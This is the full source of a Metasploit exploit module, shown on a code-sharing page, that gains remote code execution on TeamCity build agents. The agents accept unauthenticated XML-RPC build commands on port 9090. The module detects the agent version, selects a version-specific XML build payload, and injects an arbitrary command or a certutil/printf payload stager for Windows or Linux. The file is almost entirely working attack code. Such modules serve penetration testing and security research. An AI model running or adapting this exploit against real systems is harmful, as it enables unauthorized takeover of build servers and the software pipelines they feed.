CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'TeamCity Agent XML-RPC Command Execution',
15
'Description' => %q(
16
This module allows remote code execution on TeamCity Agents configured
17
to use bidirectional communication via xml-rpc. In bidirectional mode
18
the TeamCity server pushes build commands to the Build Agents over port
19
TCP/9090 without requiring authentication. Up until version 10 this was
20
the default configuration. This module supports TeamCity agents from
21
version 6.0 onwards.
22
),
23
'Author' => ['Dylan Pindur <[email protected]>'],
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
['URL', 'https://www.tenable.com/plugins/nessus/94675']
28
],
29
'Platform' => %w[linux win],
30
'Targets' =>
31
[
32
['Windows', { 'Platform' => 'win' }],
33
['Linux', { 'Platform' => 'linux' }]
34
],
35
'DefaultTarget' => 0,
36
'DisclosureDate' => '2015-04-14'))
37
38
deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')
39
register_options(
40
[
41
Opt::RPORT(9090),
42
OptString.new(
43
'CMD',
44
[false, 'Execute this command instead of using command stager', '']
45
)
46
]
47
)
48
end
49
50
def check
51
version = determine_version
52
if !version.nil? && version >= 15772
53
Exploit::CheckCode::Appears
54
else
55
Exploit::CheckCode::Safe
56
end
57
end
58
59
def exploit
60
version = determine_version
61
if version.nil?
62
fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')
63
else
64
print_status("Found TeamCity Agent running build version #{version}")
65
end
66
67
unless datastore['CMD'].blank?
68
print_status('Executing user supplied command')
69
execute_command(datastore['CMD'], version)
70
return
71
end
72
73
case target['Platform']
74
when 'linux'
75
linux_stager(version)
76
when 'win'
77
windows_stager(version)
78
else
79
fail_with(Failure::NoTarget, 'Unsupported target platform!')
80
end
81
end
82
83
def windows_stager(version)
84
print_status('Constructing Windows payload')
85
86
stager = generate_cmdstager(
87
flavor: :certutil,
88
temp: '.',
89
concat_operator: "\n",
90
nodelete: true
91
).join("\n")
92
stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')
93
94
xml_payload = build_request(stager, version)
95
if xml_payload.nil?
96
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
97
end
98
99
print_status("Found compatible build config for TeamCity build #{version}")
100
send_request(xml_payload)
101
end
102
103
def linux_stager(version)
104
print_status('Constructing Linux payload')
105
106
stager = generate_cmdstager(
107
flavor: :printf,
108
temp: '.',
109
concat_operator: "\n",
110
nodelete: true
111
).join("\n")
112
stager << ' &amp;'
113
114
xml_payload = build_request(stager, version)
115
if xml_payload.nil?
116
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
117
end
118
119
print_status("Found compatible build config for TeamCity build #{version}")
120
send_request(xml_payload)
121
end
122
123
def execute_command(cmd, version)
124
xml_payload = build_request(cmd, version)
125
126
if xml_payload.nil?
127
fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")
128
end
129
130
print_status("Found compatible build config for TeamCity build #{version}")
131
send_request(xml_payload)
132
end
133
134
def determine_version
135
xml_payload = %(
136
<?xml version="1.0" encoding="UTF-8"?>
137
<methodCall>
138
<methodName>buildAgent.getVersion</methodName>
139
<params></params>
140
</methodCall>
141
)
142
res = send_request_cgi(
143
{
144
'uri' => '/',
145
'method' => 'POST',
146
'ctype' => 'text/xml',
147
'data' => xml_payload.strip!
148
},
149
10
150
)
151
152
if !res.nil? && res.code == 200
153
xml_doc = res.get_xml_document
154
if xml_doc.errors.empty?
155
val = xml_doc.xpath('/methodResponse/params/param/value')
156
if val.length == 1
157
return val.text.to_i
158
end
159
end
160
end
161
return nil
162
end
163
164
def send_request(xml_payload)
165
res = send_request_cgi(
166
{
167
'uri' => '/',
168
'method' => 'POST',
169
'ctype' => 'text/xml',
170
'data' => xml_payload
171
},
172
10
173
)
174
175
if !res.nil? && res.code == 200
176
print_status("Successfully sent build configuration")
177
else
178
print_status("Failed to send build configuration")
179
end
180
end
181
182
def build_request(script_content, version)
183
case version
184
when 0..15771
185
return nil
186
when 15772..17794
187
return req_teamcity_6(script_content)
188
when 17795..21240
189
return req_teamcity_6_5(script_content)
190
when 21241..27401
191
return req_teamcity_7(script_content)
192
when 27402..32059
193
return req_teamcity_8(script_content)
194
when 32060..42001
195
return req_teamcity_9(script_content)
196
when 42002..46532
197
return req_teamcity_10(script_content)
198
else
199
return req_teamcity_2017(script_content)
200
end
201
end
202
203
def req_teamcity_2017(script_content)
204
build_code = Rex::Text.rand_text_alpha(8)
205
build_id = Rex::Text.rand_text_numeric(8)
206
xml_payload = %(
207
<?xml version="1.0" encoding="UTF-8"?>
208
<methodCall>
209
<methodName>buildAgent.runBuild</methodName>
210
<params>
211
<param>
212
<value>
213
<![CDATA[
214
<AgentBuild>
215
<myBuildId>#{build_id}</myBuildId>
216
<myBuildTypeId>x</myBuildTypeId>
217
<myBuildTypeExternalId>x</myBuildTypeExternalId>
218
<myCheckoutType>ON_AGENT</myCheckoutType>
219
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
220
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
221
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
222
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
223
<myServerParameters class="StringTreeMap">
224
<k>system.build.number</k>
225
<v>0</v>
226
</myServerParameters>
227
<myAccessCode/>
228
<myArtifactDependencies/>
229
<myArtifactPaths/>
230
<myArtifactStorageSettings/>
231
<myBuildFeatures/>
232
<myBuildTypeOptions/>
233
<myFullCheckoutReasons/>
234
<myParametersSpecs class="StringTreeMap"/>
235
<myPersonalVcsChanges/>
236
<myUserBuildParameters/>
237
<myVcsChanges/>
238
<myVcsRootCurrentRevisions class="tree-map"/>
239
<myVcsRootEntries/>
240
<myVcsRootOldRevisions class="tree-map"/>
241
<myBuildRunners>
242
<jetbrains.buildServer.agentServer.BuildRunnerData>
243
<myId>x</myId>
244
<myIsDisabled>false</myIsDisabled>
245
<myRunType>simpleRunner</myRunType>
246
<myRunnerName>x</myRunnerName>
247
<myChildren class="list"/>
248
<myServerParameters class="tree-map">
249
<entry>
250
<string>teamcity.build.step.name</string>
251
<string>x</string>
252
</entry>
253
</myServerParameters>
254
<myRunnerParameters class="tree-map">
255
<entry>
256
<string>script.content</string>
257
<string>#{script_content}</string>
258
</entry>
259
<entry>
260
<string>teamcity.step.mode</string>
261
<string>default</string>
262
</entry>
263
<entry>
264
<string>use.custom.script</string>
265
<string>true</string>
266
</entry>
267
</myRunnerParameters>
268
</jetbrains.buildServer.agentServer.BuildRunnerData>
269
</myBuildRunners>
270
</AgentBuild>
271
]]>
272
</value>
273
</param>
274
</params>
275
</methodCall>
276
)
277
return xml_payload.strip!
278
end
279
280
def req_teamcity_10(script_content)
281
build_code = Rex::Text.rand_text_alpha(8)
282
build_id = Rex::Text.rand_text_numeric(8)
283
xml_payload = %(
284
<?xml version="1.0" encoding="UTF-8"?>
285
<methodCall>
286
<methodName>buildAgent.runBuild</methodName>
287
<params>
288
<param>
289
<value>
290
<![CDATA[
291
<AgentBuild>
292
<myBuildId>#{build_id}</myBuildId>
293
<myBuildTypeId>x</myBuildTypeId>
294
<myBuildTypeExternalId>x</myBuildTypeExternalId>
295
<myCheckoutType>ON_AGENT</myCheckoutType>
296
<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>
297
<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>
298
<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>
299
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
300
<myServerParameters class="StringTreeMap">
301
<k>system.build.number</k>
302
<v>0</v>
303
</myServerParameters>
304
<myAccessCode/>
305
<myArtifactDependencies/>
306
<myArtifactPaths/>
307
<myBuildFeatures/>
308
<myBuildTypeOptions/>
309
<myFullCheckoutReasons/>
310
<myParametersSpecs class="StringTreeMap"/>
311
<myPersonalVcsChanges/>
312
<myUserBuildParameters/>
313
<myVcsChanges/>
314
<myVcsRootCurrentRevisions class="tree-map"/>
315
<myVcsRootEntries/>
316
<myVcsRootOldRevisions class="tree-map"/>
317
<myBuildRunners>
318
<jetbrains.buildServer.agentServer.BuildRunnerData>
319
<myId>x</myId>
320
<myIsDisabled>false</myIsDisabled>
321
<myRunType>simpleRunner</myRunType>
322
<myRunnerName>x</myRunnerName>
323
<myChildren class="list"/>
324
<myServerParameters class="tree-map">
325
<entry>
326
<string>teamcity.build.step.name</string>
327
<string>x</string>
328
</entry>
329
</myServerParameters>
330
<myRunnerParameters class="tree-map">
331
<entry>
332
<string>script.content</string>
333
<string>#{script_content}</string>
334
</entry>
335
<entry>
336
<string>teamcity.step.mode</string>
337
<string>default</string>
338
</entry>
339
<entry>
340
<string>use.custom.script</string>
341
<string>true</string>
342
</entry>
343
</myRunnerParameters>
344
</jetbrains.buildServer.agentServer.BuildRunnerData>
345
</myBuildRunners>
346
</AgentBuild>
347
]]>
348
</value>
349
</param>
350
</params>
351
</methodCall>
352
)
353
return xml_payload.strip!
354
end
355
356
def req_teamcity_9(script_content)
357
build_id = Rex::Text.rand_text_numeric(8)
358
xml_payload = %(
359
<?xml version="1.0" encoding="UTF-8"?>
360
<methodCall>
361
<methodName>buildAgent.runBuild</methodName>
362
<params>
363
<param>
364
<value>
365
<![CDATA[
366
<AgentBuild>
367
<myBuildId>#{build_id}</myBuildId>
368
<myBuildTypeId>x</myBuildTypeId>
369
<myBuildTypeExternalId>x</myBuildTypeExternalId>
370
<myCheckoutType>ON_AGENT</myCheckoutType>
371
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
372
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
373
<myServerParameters class="StringTreeMap">
374
<k>system.build.number</k>
375
<v>0</v>
376
</myServerParameters>
377
<myAccessCode/>
378
<myArtifactDependencies/>
379
<myArtifactPaths/>
380
<myBuildFeatures/>
381
<myBuildTypeOptions/>
382
<myFullCheckoutReasons/>
383
<myPersonalVcsChanges/>
384
<myUserBuildParameters/>
385
<myVcsChanges/>
386
<myVcsRootCurrentRevisions class="tree-map"/>
387
<myVcsRootEntries/>
388
<myVcsRootOldRevisions class="tree-map"/>
389
<myBuildRunners>
390
<jetbrains.buildServer.agentServer.BuildRunnerData>
391
<myId>x</myId>
392
<myIsDisabled>false</myIsDisabled>
393
<myRunType>simpleRunner</myRunType>
394
<myRunnerName>x</myRunnerName>
395
<myChildren class="list"/>
396
<myServerParameters class="tree-map">
397
<entry>
398
<string>teamcity.build.step.name</string>
399
<string>x</string>
400
</entry>
401
</myServerParameters>
402
<myRunnerParameters class="tree-map">
403
<entry>
404
<string>script.content</string>
405
<string>#{script_content}</string>
406
</entry>
407
<entry>
408
<string>teamcity.step.mode</string>
409
<string>default</string>
410
</entry>
411
<entry>
412
<string>use.custom.script</string>
413
<string>true</string>
414
</entry>
415
</myRunnerParameters>
416
</jetbrains.buildServer.agentServer.BuildRunnerData>
417
</myBuildRunners>
418
</AgentBuild>
419
]]>
420
</value>
421
</param>
422
</params>
423
</methodCall>
424
)
425
return xml_payload.strip!
426
end
427
428
def req_teamcity_8(script_content)
429
build_id = Rex::Text.rand_text_numeric(8)
430
xml_payload = %(
431
<?xml version="1.0" encoding="UTF-8"?>
432
<methodCall>
433
<methodName>buildAgent.runBuild</methodName>
434
<params>
435
<param>
436
<value>
437
<![CDATA[
438
<AgentBuild>
439
<myBuildId>#{build_id}</myBuildId>
440
<myBuildTypeId>x</myBuildTypeId>
441
<myCheckoutType>ON_AGENT</myCheckoutType>
442
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
443
<myServerParameters class="tree-map">
444
<entry>
445
<string>system.build.number</string>
446
<string>0</string>
447
</entry>
448
</myServerParameters>
449
<myAccessCode/>
450
<myArtifactDependencies/>
451
<myArtifactPaths/>
452
<myBuildTypeOptions/>
453
<myFullCheckoutReasons/>
454
<myPersonalVcsChanges/>
455
<myUserBuildParameters/>
456
<myVcsChanges/>
457
<myVcsRootCurrentRevisions class="tree-map"/>
458
<myVcsRootEntries/>
459
<myVcsRootOldRevisions class="tree-map"/>
460
<myBuildRunners>
461
<jetbrains.buildServer.agentServer.BuildRunnerData>
462
<myId>x</myId>
463
<myIsDisabled>false</myIsDisabled>
464
<myRunType>simpleRunner</myRunType>
465
<myRunnerName>x</myRunnerName>
466
<myChildren class="list"/>
467
<myServerParameters class="tree-map">
468
<entry>
469
<string>teamcity.build.step.name</string>
470
<string>x</string>
471
</entry>
472
</myServerParameters>
473
<myRunnerParameters class="tree-map">
474
<entry>
475
<string>script.content</string>
476
<string>#{script_content}</string>
477
</entry>
478
<entry>
479
<string>teamcity.step.mode</string>
480
<string>default</string>
481
</entry>
482
<entry>
483
<string>use.custom.script</string>
484
<string>true</string>
485
</entry>
486
</myRunnerParameters>
487
</jetbrains.buildServer.agentServer.BuildRunnerData>
488
</myBuildRunners>
489
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
490
<myBuildFeatures/>
491
</AgentBuild>
492
]]>
493
</value>
494
</param>
495
</params>
496
</methodCall>
497
)
498
return xml_payload.strip!
499
end
500
501
def req_teamcity_7(script_content)
502
build_id = Rex::Text.rand_text_numeric(8)
503
xml_payload = %(
504
<?xml version="1.0" encoding="UTF-8"?>
505
<methodCall>
506
<methodName>buildAgent.runBuild</methodName>
507
<params>
508
<param>
509
<value>
510
<![CDATA[
511
<AgentBuild>
512
<myBuildId>#{build_id}</myBuildId>
513
<myBuildTypeId>x</myBuildTypeId>
514
<myCheckoutType>ON_AGENT</myCheckoutType>
515
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
516
<myServerParameters class="tree-map">
517
<no-comparator/>
518
<entry>
519
<string>system.build.number</string>
520
<string>0</string>
521
</entry>
522
</myServerParameters>
523
<myVcsRootOldRevisions class="tree-map">
524
<no-comparator/>
525
</myVcsRootOldRevisions>
526
<myVcsRootCurrentRevisions class="tree-map">
527
<no-comparator/>
528
</myVcsRootCurrentRevisions>
529
<myAccessCode/>
530
<myArtifactDependencies/>
531
<myArtifactPaths/>
532
<myBuildTypeOptions/>
533
<myFullCheckoutReasons/>
534
<myPersonalVcsChanges/>
535
<myUserBuildParameters/>
536
<myVcsChanges/>
537
<myVcsRootEntries/>
538
<myBuildRunners>
539
<jetbrains.buildServer.agentServer.BuildRunnerData>
540
<myRunType>simpleRunner</myRunType>
541
<myRunnerName>x</myRunnerName>
542
<myRunnerParameters class="tree-map">
543
<no-comparator/>
544
<entry>
545
<string>script.content</string>
546
<string>#{script_content}</string>
547
</entry>
548
<entry>
549
<string>teamcity.step.mode</string>
550
<string>default</string>
551
</entry>
552
<entry>
553
<string>use.custom.script</string>
554
<string>true</string>
555
</entry>
556
</myRunnerParameters>
557
<myServerParameters class="tree-map">
558
<no-comparator/>
559
<entry>
560
<string>teamcity.build.step.name</string>
561
<string>x</string>
562
</entry>
563
</myServerParameters>
564
</jetbrains.buildServer.agentServer.BuildRunnerData>
565
</myBuildRunners>
566
<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>
567
<myBuildFeatures/>
568
</AgentBuild>
569
]]>
570
</value>
571
</param>
572
</params>
573
</methodCall>
574
)
575
return xml_payload.strip!
576
end
577
578
def req_teamcity_6_5(script_content)
579
build_id = Rex::Text.rand_text_numeric(8)
580
xml_payload = %(
581
<?xml version="1.0" encoding="UTF-8"?>
582
<methodCall>
583
<methodName>buildAgent.run</methodName>
584
<params>
585
<param>
586
<value>
587
<![CDATA[
588
<AgentBuild>
589
<myBuildId>#{build_id}</myBuildId>
590
<myBuildTypeId>x</myBuildTypeId>
591
<myPersonal>false</myPersonal>
592
<myCheckoutType>ON_AGENT</myCheckoutType>
593
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
594
<myServerParameters class="tree-map">
595
<no-comparator/>
596
<entry>
597
<string>system.build.number</string>
598
<string>0</string>
599
</entry>
600
</myServerParameters>
601
<myVcsRootOldRevisions class="tree-map">
602
<no-comparator/>
603
</myVcsRootOldRevisions>
604
<myVcsRootCurrentRevisions class="tree-map">
605
<no-comparator/>
606
</myVcsRootCurrentRevisions>
607
<myAccessCode/>
608
<myArtifactDependencies/>
609
<myBuildTypeOptions/>
610
<myPersonalVcsChanges/>
611
<myUserBuildParameters/>
612
<myVcsChanges/>
613
<myVcsRootEntries/>
614
<myBuildRunners>
615
<jetbrains.buildServer.agentServer.BuildRunnerData>
616
<myRunType>simpleRunner</myRunType>
617
<myRunnerName>x</myRunnerName>
618
<myRunnerParameters class="tree-map">
619
<no-comparator/>
620
<entry>
621
<string>script.content</string>
622
<string>#{script_content}</string>
623
</entry>
624
<entry>
625
<string>use.custom.script</string>
626
<string>true</string>
627
</entry>
628
</myRunnerParameters>
629
<myServerParameters class="tree-map">
630
<no-comparator/>
631
</myServerParameters>
632
</jetbrains.buildServer.agentServer.BuildRunnerData>
633
</myBuildRunners>
634
</AgentBuild>
635
]]>
636
</value>
637
</param>
638
</params>
639
</methodCall>
640
)
641
return xml_payload.strip!
642
end
643
644
def req_teamcity_6(script_content)
645
build_id = Rex::Text.rand_text_numeric(8)
646
xml_payload = %(
647
<?xml version="1.0" encoding="UTF-8"?>
648
<methodCall>
649
<methodName>buildAgent.run</methodName>
650
<params>
651
<param>
652
<value>
653
<![CDATA[
654
<AgentBuild>
655
<myBuildId>#{build_id}</myBuildId>
656
<myBuildTypeId>x</myBuildTypeId>
657
<myAccessCode></myAccessCode>
658
<myPersonal>false</myPersonal>
659
<myCheckoutType>ON_AGENT</myCheckoutType>
660
<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>
661
<myServerParameters class="tree-map">
662
<no-comparator/>
663
<entry>
664
<string>system.build.number</string>
665
<string>0</string>
666
</entry>
667
</myServerParameters>
668
<myVcsRootOldRevisions class="tree-map">
669
<no-comparator/>
670
</myVcsRootOldRevisions>
671
<myVcsRootCurrentRevisions class="tree-map">
672
<no-comparator/>
673
</myVcsRootCurrentRevisions>
674
<myArtifactDependencies/>
675
<myBuildTypeOptions/>
676
<myPersonalVcsChanges/>
677
<myUserBuildParameters/>
678
<myVcsChanges/>
679
<myVcsRootEntries/>
680
<myBuildRunners>
681
<jetbrains.buildServer.agentServer.BuildRunnerData>
682
<myRunType>simpleRunner</myRunType>
683
<myServerParameters class="tree-map">
684
<no-comparator/>
685
</myServerParameters>
686
<myRunnerParameters class="tree-map">
687
<no-comparator/>
688
<entry>
689
<string>script.content</string>
690
<string>#{script_content}</string>
691
</entry>
692
<entry>
693
<string>use.custom.script</string>
694
<string>true</string>
695
</entry>
696
</myRunnerParameters>
697
</jetbrains.buildServer.agentServer.BuildRunnerData>
698
</myBuildRunners>
699
</AgentBuild>
700
]]>
701
</value>
702
</param>
703
</params>
704
</methodCall>
705
)
706
return xml_payload.strip!
707
end
708
end
709
710